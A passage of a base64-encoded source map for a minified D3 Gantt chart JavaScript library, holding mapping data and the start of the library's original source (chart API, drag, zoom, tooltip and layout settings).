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QUFjL0gsRUFBS2dJLGlCQUNuQnNCLEVBQVV0SixFQUFLa0ssYUFDZlYsRUFBVXhKLEVBQUt1SixhQUNmcEQsSUFDQUMsT0FvcEJHOUYiLCJmaWxlIjoiZ2FudHQtY2hhcnQubWluLmpzIiwic291cmNlc0NvbnRlbnQiOlsiJ3VzZSBzdHJpY3QnO1xyXG5cclxudmFyIGdhbnR0Q2hhcnQgPSBmdW5jdGlvbihjb25mKSB7XHJcbiAgICB2YXIgYXBpLFxyXG4gICAgICAgIHNlbGYgPSB7fSxcclxuICAgICAgICB0b1N0ciA9IE9iamVjdC5wcm90b3R5cGUudG9TdHJpbmcsXHJcbiAgICAgICAgYXN0ciA9IFwiW29iamVjdCBBcnJheV1cIixcclxuICAgICAgICBvc3RyID0gXCJbb2JqZWN0IE9iamVjdF1cIixcclxuICAgICAgICBzc3RyID0gXCJbb2JqZWN0IFN0cmluZ11cIixcclxuICAgICAgICBjaGFydCwgZHJhZywgbWFpbiwgaXRlbVJlY3RzLCB0b29sdGlwRGl2LCB4QXhpcywgeFNjYWxlLCB5QXhpcywgeVNjYWxlLCB6b29tLFxyXG4gICAgICAgIHJlc2l6ZVJlY3RNYXJnaW4gPSAxNTtcclxuXHJcbiAgICBhcGkgPSB7XHJcbiAgICAgICAgYWRkSXRlbXM6IGFkZEl0ZW1zLFxyXG4gICAgICAgIGF1dG9yZXNpemU6IGF1dG9yZXNpemUsXHJcbiAgICAgICAgZW5hYmxlRHJhZzogZW5hYmxlRHJhZyxcclxuICAgICAgICBlbmFibGVJdGVtUmVzaXplOiBlbmFibGVJdGVtUmVzaXplLFxyXG4gICAgICAgIGVuYWJ2YXJvb2x0aXA6IGVuYWJsZVRvb2x0aXAsXHJcbiAgICAgICAgZW5hYmxlWm9vbTogZW5hYmxlWm9vbSxcclxuICAgICAgICBhdHRhY2hFdmVudDogYXR0YWNoRXZlbnQsXHJcbiAgICAgICAgaXRlbXM6IGl0ZW1zLFxyXG4gICAgICAgIGFkZExhbmVzOiBhZGRMYW5lcyxcclxuICAgICAgICBsYW5lczogbGFuZXMsXHJcbiAgICAgICAgbWFyZ2luOiBtYXJnaW4sXHJcbiAgICAgICAgc2hvd0xhbmVMYWJlbDogc2hvd0xhbmVMYWJlbCxcclxuICAgICAgICBzaG93WEdyaWQ6IHNob3dYR3JpZCxcclxuICAgICAgICBzaG93WUdyaWQ6IHNob3dZR3JpZCxcclxuICAgICAgICBzaXplOiBzaXplLFxyXG4gICAgICAgIHN1YmxhbmVzOiBzdWJsYW5lcyxcclxuICAgICAgICBnZXRJdGVtc0J5TGFuZTogZ2V0SXRlbXNCeUxhbmUsXHJcbiAgICAgICAgdXBkYXRlSXRlbXM6IHVwZGF0ZUl0ZW1zLFxyXG4gICAgICAgIHJlZHJhdzogcmVkcmF3LFxyXG4gICAgICAgIHJlc2l6ZTogcmVzaXplLFxyXG4gICAgICAgIC8vIGRyYWc6IGZ1bmN0aW9uKCkgeyByZXR1cm4gZHJhZyB9LFxyXG4gICAgICAgIGNoYXJ0OiBmdW5jdGlvbigpIHsgcmV0dXJuIG1haW4gfSxcclxuICAgICAgICBzdmc6IGZ1bmN0aW9uKCkgeyByZXR1cm4gY2hhcnQgfSxcclxuICAgICAgICByZW5kZXJUbzogZnVuY3Rpb24oKSB7IHJldHVybiBzZWxmLnJlbmRlclRvIH0sXHJcbiAgICAgICAgeEF4aXM6IGZ1bmN0aW9uKCkgeyByZXR1cm4geEF4aXMgfSxcclxuICAgICAgICB4U2NhbGU6IGZ1bmN0aW9uKCkgeyByZXR1cm4geFNjYWxlIH0sXHJcbiAgICAgICAgeVNjYWxlOiBmdW5jdGlvbigpIHsgcmV0dXJuIHlTY2FsZSB9LFxyXG4gICAgICAgIHlBeGlzOiBmdW5jdGlvbigpIHsgcmV0dXJuIHlBeGlzIH0sXHJcbiAgICAgICAgem9vbTogZnVuY3Rpb24oKSB7IHJldHVybiB6b29tIH0sXHJcbiAgICB9O1xyXG5cclxuICAgIHNlbGYuaXRlbXMgPSBudWxsO1xyXG4gICAgc2VsZi5sYW5lcyA9IG51bGw7XHJcbiAgICBzZWxmLnJlbmRlclRvID0gJyNnYW50dF9jaGFydCc7XHJcbiAgICBzZWxmLnN1YmxhbmVzID0gMTtcclxuXHJcbiAgICBzZWxmLnN0YXJ0VGltZSA9IG51bGw7XHJcbiAgICBzZWxmLmVuZFRpbWUgPSBudWxsO1xyXG5cclxuICAgIHNlbGYuaXNBdXRvUmVzaXplID0gdHJ1ZTtcclxuICAgIHNlbGYuaXNFbmFibGVEcmFnID0gdHJ1ZTtcclxuICAgIHNlbGYuaXNFbmFibGVJdGVtUmVzaXplID0gdHJ1ZTtcclxuICAgIHNlbGYuaXNFbmFibGVUb29sdGlwID0gdHJ1ZTtcclxuICAgIHNlbGYuaXNFbmFibGVab29tID0gdHJ1ZTtcclxuICAgIHNlbGYuaXNTaG93WEdyaWQgPSB0cnVlO1xyXG4gICAgc2VsZi5pc1Nob3dZR3JpZCA9IHRydWU7XHJcbiAgICBzZWxmLmlzU2hvd0xhbmVMYWJlbCA9IHRydWU7XHJcbiAgICBzZWxmLmR1cmF0aW9uID0gMjA7XHJcblxyXG4gICAgc2VsZi5zdGFydERyYWcgPSBbXTtcclxuICAgIHNlbGYubW92ZURyYWcgPSBbXTtcclxuICAgIHNlbGYuZW5kRHJhZyA9IFtdO1xyXG4gICAgc2VsZi5kb3VibGVDbGljayA9IFtdO1xyXG5cclxuICAgIHNlbGYuaGVpZ2h0ID0gbnVsbDtcclxuICAgIHNlbGYud2lkdGggPSBudWxsO1xyXG4gICAgc2VsZi5pdGVtSGVpZ2h0ID0gMzU7XHJcbiAgICBzZWxmLm1hcmdpbiA9IHtcclxuICAgICAgICB0b3A6IDIwLFxyXG4gICAgICAgIHJpZ2h0OiAxNSxcclxuICAgICAgICBib3R0b206IDIwLFxyXG4gICAgICAgIGxlZnQ6IDIwXHJcbiAgICB9O1xyXG5cclxuICAgIChmdW5jdGlvbiBpbml0KCkge1xyXG4gICAgICAgIGNvcHlTYW1lUHJvcChzZWxmLCBjb25mKTtcclxuXHJcbiAgICAgICAgc2VsZi5pdGVtcyA9IHNlbGYuaXRlbXMgfHwgW107XHJcbiAgICAgICAgc2VsZi5sYW5lcyA9IHNlbGYubGFuZXMgfHwgW107XHJcbiAgICAgICAgc2VsZi5sYW5lcy5sZW5ndGggPSBnZXRMYW5lTGVuZ3RoKCk7XHJcblxyXG4gICAgICAgIGlmIChzZWxmLmhlaWdodCA9PT0gbnVsbCkgc2VsZi5oZWlnaHQgPSBwYXJzZUludChkMy5zZWxlY3Qoc2VsZi5yZW5kZXJUbykuc3R5bGUoJ2hlaWdodCcpKSB8fCA0ODA7XHJcbiAgICAgICAgaWYgKHNlbGYud2lkdGggPT09IG51bGwpIHNlbGYud2lkdGggPSBwYXJzZUludChkMy5zZWxlY3Qoc2VsZi5yZW5kZXJUbykuc3R5bGUoJ3dpZHRoJykpIHx8IDY0MDtcclxuICAgICAgICBcclxuICAgICAgICBcclxuICAgICAgICBidWlsZCgpO1xyXG4gICAgICAgIGF1dG9yZXNpemUoc2VsZi5pc0F1dG9SZXNpemUpO1xyXG4gICAgICAgIGVuYWJsZURyYWcoc2VsZi5pc0VuYWJsZURyYWcpO1xyXG4gICAgICAgIGVuYWJsZVRvb2x0aXAoc2VsZi5pc0VuYWJsZVRvb2x0aXApO1xyXG4gICAgICAgIGVuYWJsZVpvb20oc2VsZi5pc0VuYWJsZVpvb20pO1xyXG4gICAgICAgIHNob3dMYW5lTGFiZWwoc2VsZi5pc1Nob3dMYW5lTGFiZWwpO1xyXG4gICAgICAgIHNob3dYR3JpZChzZWxmLmlzU2hvd1hHcmlkKTtcclxuICAgICAgICBzaG93WUdyaWQoc2VsZi5pc1Nob3dZR3JpZCk7XHJcbiAgICAgICAgcmVuZGVyU3VibGFuZSgpOyAgICAgICAgXHJcbiAgICAgICAgcmVkcmF3KCk7XHJcbiAgICB9KSgpO1xyXG5cclxuICAgIGZ1bmN0aW9uIGFkZEl0ZW1zKG5ld0l0ZW1zKSB7XHJcbiAgICAgICAgdmFyIGl0ZW1zVHlwZSA9IHRvU3RyLmNhbGwobmV3SXRlbXMpO1xyXG4gICAgICAgIGlmIChpdGVtc1R5cGUgIT09IGFzdHIgJiYgaXRlbXNUeXBlICE9PSBvc3RyKSB0aHJvd0Vycm9yKCdFeHBlY3RlZCBvYmplY3Qgb3IgYXJyYXkuIEdvdDogJyArIGl0ZW1zVHlwZSk7XHJcbiAgICAgICAgaWYoaXRlbXNUeXBlID09PSBhc3RyKSB7XHJcbiAgICAgICAgICAgIGNoZWNrUmVxdWlyZUl0ZW1GaWVsZChuZXdJdGVtcyk7XHJcbiAgICAgICAgICAgIHNlbGYuaXRlbXMgPSBzZWxmLml0ZW1zLmNvbmNhdChuZXdJdGVtcyk7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIGVsc2VcclxuICAgICAgICB7XHJcbiAgICAgICAgICAgIHJlcXVpcmVJdGVtRmllbGQobmV3SXRlbXMpO1xyXG4gICAgICAgICAgICBzZWxmLml0ZW1zLnB1c2gobmV3SXRlbXMpO1xyXG4gICAgICAgIH0gXHJcbiAgICAgICAgb25JdGVtc0NoYW5nZSgpO1xyXG4gICAgICAgIHJldHVybiBhcGk7XHJcbiAgICB9XHJcblxyXG4gICAgZnVuY3Rpb24gYXV0b3Jlc2l6ZShpc0F1dG9SZXNpemUpIHtcclxuICAgICAgICBpZiAoIWFyZ3VtZW50cy5sZW5ndGgpIHJldHVybiBzZWxmLmlzQXV0b1Jlc2l6ZTtcclxuICAgICAgICBkMy5zZWxlY3Qod2luZG93KS5vbigncmVzaXplJywgKGlzQXV0b1Jlc2l6ZSAhPT0gZmFsc2UpID8gcmVzaXplIDogbnVsbCk7XHJcbiAgICAgICAgc2VsZi5pc0F1dG9SZXNpemUgPSBpc0F1dG9SZXNpemU7XHJcbiAgICAgICAgcmV0dXJuIGFwaTtcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBhdHRhY2hFdmVudChldmVudCwgY2FsbGJhY2spIHtcclxuICAgICAgICBzd2l0Y2goZXZlbnQpIHtcclxuICAgICAgICAgICAgY2FzZSBcInN0YXJ0RHJhZ1wiOlxyXG4gICAgICAgICAgICAgICAgc2VsZi5zdGFydERyYWcucHVzaChjYWxsYmFjayk7XHJcbiAgICAgICAgICAgICAgICBicmVhaztcclxuICAgICAgICAgICAgY2FzZSBcIm1vdmVEcmFnXCI6XHJcbiAgICAgICAgICAgICAgICBzZWxmLm1vdmVEcmFnLnB1c2goY2FsbGJhY2spOyAgICAgICAgIFxyXG4gICAgICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgICAgIGNhc2UgXCJlbmREcmFnXCI6XHJcbiAgICAgICAgICAgICAgICBzZWxmLmVuZERyYWcucHVzaChjYWxsYmFjayk7ICAgICAgICAgICAgICAgIFxyXG4gICAgICAgICAgICAgICAgYnJlYWs7XHJcbiAgICAgICAgICAgIGNhc2UgXCJkb3VibGVDbGlja1wiOlxyXG4gICAgICAgICAgICAgICAgc2VsZi5kb3VibGVDbGljay5wdXNoKGNhbGxiYWNrKTsgICAgICAgICAgICAgICAgXHJcbiAgICAgICAgICAgICAgICBicmVhaztcclxuICAgICAgICB9XHJcbiAgICAgICAgcmV0dXJuIGFwaTtcclxuICAgIH1cclxuXHJcbiAgICBmdW5jdGlvbiBidWlsZCgpIHtcclxuICAgICAgICB2YXIgbGFuZUxlbmd0aCA9IHNlbGYubGFuZXMubGVuZ3RoLFxyXG4gICAgICAgICAgICBtYXJnaW5XaWR0aCA9IGdldE1hcmdpbldpZHRoKCksXHJcbiAgICAgICAgICAgIG1hcmdpbkhlaWdodCA9IGdldE1hcmdpbkhlaWdodCgpO1xyXG4gICAgICAgICAgICBcclxuICAgICAgICBjaGFydCA9IGQzLnNlbGVjdChzZWxmLnJlbmRlclRvKVxyXG4gICAgICAgICAgICAuYXBwZW5kKFwic3ZnXCIpXHJcbiAgICAgICAgICAgIC5hdHRyKFwid2lkdGhcIiwgc2VsZi53aWR0aClcclxuICAgICAgICAgICAgLmF0dHIoXCJoZWlnaHRcIiwgc2VsZi5oZWlnaHQpXHJcbiAgICAgICAgICAgIC5hdHRyKFwiY2xhc3NcIiwgXCJnYW50dC1jaGFydFwiKTtcclxuXHJcbiAgICAgICAgY2hhcnQuYXBwZW5kKFwiZGVmc1wiKS5hcHBlbmQoXCJjbGlwUGF0aFwiKVxyXG4gICAgICAgICAgICAuYXR0cihcImlkXCIsIFwiY2xpcFwiKVxyXG4gICAgICAgICAgICAuYXBwZW5kKFwicmVjdFwiKVxyXG4gICAgICAgICAgICAuYXR0cihcIndpZHRoXCIsIG1hcmdpbldpZHRoKVxyXG4gICAgICAgICAgICAuYXR0cihcImhlaWdodFwiLCBtYXJnaW5IZWlnaHQpO1xyXG5cclxuICAgICAgICBkcmFnID0gZDMuYmVoYXZpb3IuZHJhZygpXHJcbiAgICAgICAgICAgIC5vbihcImRyYWdzdGFydFwiLCBmdW5jdGlvbihkKSB7XHJcbiAgICAgICAgICAgICAgICBkcmFnc3RhcnQodGhpcywgZCk7XHJcbiAgICAgICAgICAgICAgICBmb3IodmFyIGkgPSAwOyBpIDwgc2VsZi5zdGFydERyYWcubGVuZ3RoOyBpKyspIHtcclxuICAgICAgICAgICAgICAgICAgICBzZWxmLnN0YXJ0RHJhZ1tpXSh0aGlzLCBkKTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfSlcclxuICAgICAgICAgICAgLm9uKFwiZHJhZ1wiLCBmdW5jdGlvbihkKSB7XHJcbiAgICAgICAgICAgICAgICBkcmFnbW92ZSh0aGlzLCBkKTtcclxuICAgICAgICAgICAgICAgIGZvcih2YXIgaSA9IDA7IGkgPCBzZWxmLm1vdmVEcmFnLmxlbmd0aDsgaSsrKSB7XHJcbiAgICAgICAgICAgICAgICAgICAgc2VsZi5tb3ZlRHJhZ1tpXSh0aGlzLCBkKTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfSApXHJcbiAgICAgICAgICAgIC5vbihcImRyYWdlbmRcIiwgZnVuY3Rpb24oZCkge1xyXG4gICAgICAgICAgICAgICAgZHJhZ2VuZCh0aGlzLCBkKTsgICAgICAgICAgICAgICAgICAgIFxyXG4gICAgICAgICAgICAgICAgZm9yKHZhciBpID0gMDsgaSA8IHNlbGYuZW5kRHJhZy5sZW5ndGg7IGkrKykge1xyXG4gICAgICAgICAgICAgICAgICAgIHNlbGYuZW5kRHJhZ1tpXSh0aGlzLCBkKTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgfSk7XHJcblxyXG4gICAgICAgIG1haW4gPSBjaGFydC5hcHBlbmQoXCJnXCIpXHJcbiAgICAgICAgICAgIC5hdHRyKFwidHJhbnNmb3JtXCIsIFwidHJhbnNsYXRlKFwiICsgc2VsZi5tYXJnaW4ubGVmdCArIFwiLFwiICsgc2VsZi5tYXJnaW4udG9wICsgXCIpXCIpXHJcbiAgICAgICAgICAgIC5hdHRyKFwid2lkdGhcIiwgbWFyZ2luV2lkdGgpXHJcbiAgICAgICAgICAgIC5hdHRyKFwiaGVpZ2h0XCIsIG1hcmdpbkhlaWdodClcclxuICAgICAgICAgICAgLmF0dHIoXCJjbGFzc1wiLCBcIm1haW5cIik7XHJcblxyXG4gICAgICAgIHRvb2x0aXBEaXYgPSBkMy5zZWxlY3QoXCJib2R5XCIpLmFwcGVuZChcImRpdlwiKVxyXG4gICAgICAgICAgICAuYXR0cihcImNsYXNzXCIsIFwiZ2FudHQtdG9vbHRpcFwiKVxyX